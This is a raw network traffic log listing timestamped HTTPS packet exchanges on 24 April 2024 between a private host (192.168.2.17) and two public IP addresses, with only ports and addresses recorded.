Apr 24, 2024 15:43:22.978245020 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.978307962 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.978399992 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.978629112 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.978667021 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.993628025 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.993712902 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.993817091 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.994255066 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.994287014 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.087368011 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.087552071 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.089504004 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.089517117 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.089730978 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.090989113 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.136121988 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.311671972 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.312129974 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.312163115 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.312665939 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.312984943 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.313075066 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.313118935 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.325566053 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.325776100 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.325844049 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.326323986 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.326606035 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.326699018 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.326702118 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.356126070 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.358138084 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.372119904 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.374105930 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.665010929 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665046930 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665070057 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665112972 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.665137053 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665159941 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.665183067 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.665278912 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665337086 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.665357113 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665385962 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665397882 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.665419102 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.665450096 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.668478012 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.668503046 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.668518066 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:23.668524027 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:23.987685919 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.987818956 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.987906933 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.987938881 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.987972021 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988071918 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.988080978 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988192081 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988270998 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.988281012 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988365889 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988420010 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.988428116 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988926888 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.988991976 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.989001036 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.989695072 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.989761114 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.989768982 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.989990950 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.990056992 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.990065098 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.990166903 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.990220070 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.990226984 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.990853071 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.990920067 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.990927935 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991007090 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991056919 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.991065025 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991736889 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991818905 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991818905 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.991847992 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.991894960 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.991940022 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.992053032 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.992064953 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.992086887 CEST	443	49778	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.992134094 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.992165089 CEST	49778	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.994709015 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.994757891 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.994857073 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.995116949 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.995136023 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.995765924 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.995845079 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.995943069 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.996139050 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.996176004 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.996531010 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.996567011 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.996633053 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.996968985 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.996992111 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.997368097 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.997443914 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:23.997581005 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.997766018 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:23.997802019 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.001306057 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.001472950 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.001538038 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.002160072 CEST	49779	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.002218962 CEST	443	49779	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.002612114 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.002635956 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.002733946 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.002903938 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.002928019 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.003004074 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.003102064 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.003118992 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.003252029 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.003263950 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.326636076 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.326937914 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.326965094 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.327584028 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.327893972 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.327996969 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.328018904 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.335570097 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.335783005 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.335836887 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336215973 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336275101 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336349964 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336385965 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.336416006 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336482048 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.336512089 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336570024 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.336592913 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.336838961 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337001085 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.337021112 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337040901 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337321043 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.337414980 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.337421894 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337462902 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337575912 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337672949 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.337754965 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337889910 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.337924957 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.337941885 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338021040 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338114977 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338293076 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338341951 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338421106 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338443995 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338462114 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338495016 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338500977 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338552952 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338568926 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338571072 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338800907 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338891983 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.338897943 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.338908911 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.368160963 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.376142025 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.384119034 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.392136097 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.392138958 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.392168045 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.392178059 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.392231941 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.440154076 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.705493927 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.705681086 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.705739021 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.705765009 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.705852032 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.705899954 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.705909967 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.706053972 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.706105947 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.706558943 CEST	49782	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.706581116 CEST	443	49782	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.707537889 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.707601070 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.707664013 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.707685947 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.707742929 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.707792997 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.708846092 CEST	49783	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.708858013 CEST	443	49783	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.709498882 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.709583044 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.709669113 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.709892035 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.709925890 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.712112904 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.712146997 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:24.712215900 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.712541103 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:24.712559938 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008435965 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008505106 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008544922 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008585930 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008583069 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.008649111 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008686066 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.008703947 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.008757114 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.008770943 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.009321928 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.009362936 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.009377956 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.009390116 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.009439945 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.009803057 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.009933949 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.010032892 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.010045052 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.010730028 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.010793924 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.010804892 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.010884047 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.010932922 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.010945082 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011131048 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011189938 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011239052 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011272907 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011298895 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011353016 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011416912 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011486053 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011518002 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011540890 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011599064 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011622906 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011667967 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011693954 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011709929 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011775017 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011786938 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011828899 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.011884928 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.011897087 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012015104 CEST	49784	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.012046099 CEST	443	49784	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012674093 CEST	49785	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.012681961 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012710094 CEST	443	49785	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012718916 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012752056 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.012763977 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012825966 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.012837887 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012859106 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.012906075 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.013077974 CEST	49780	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.013107061 CEST	443	49780	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.014736891 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.014890909 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.014962912 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.014966011 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015042067 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015094042 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015115976 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015288115 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015341997 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015356064 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015506029 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015559912 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015573025 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015661955 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015714884 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015727997 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.015947104 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.015995026 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.016057968 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.016288042 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.016307116 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.016367912 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.016417027 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.016429901 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.016544104 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.016602993 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.016616106 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.017355919 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.017369032 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.017394066 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.017432928 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.017446995 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.017477989 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.017533064 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.017591000 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.017604113 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.018050909 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.018079996 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.018227100 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.018296003 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.018309116 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.018955946 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.019007921 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.019021988 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.019134998 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.019195080 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.019207001 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.019949913 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020018101 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.020031929 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020143032 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020199060 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.020211935 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020793915 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020859003 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.020872116 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.020963907 CEST	443	49781	104.21.50.148	192.168.2.17
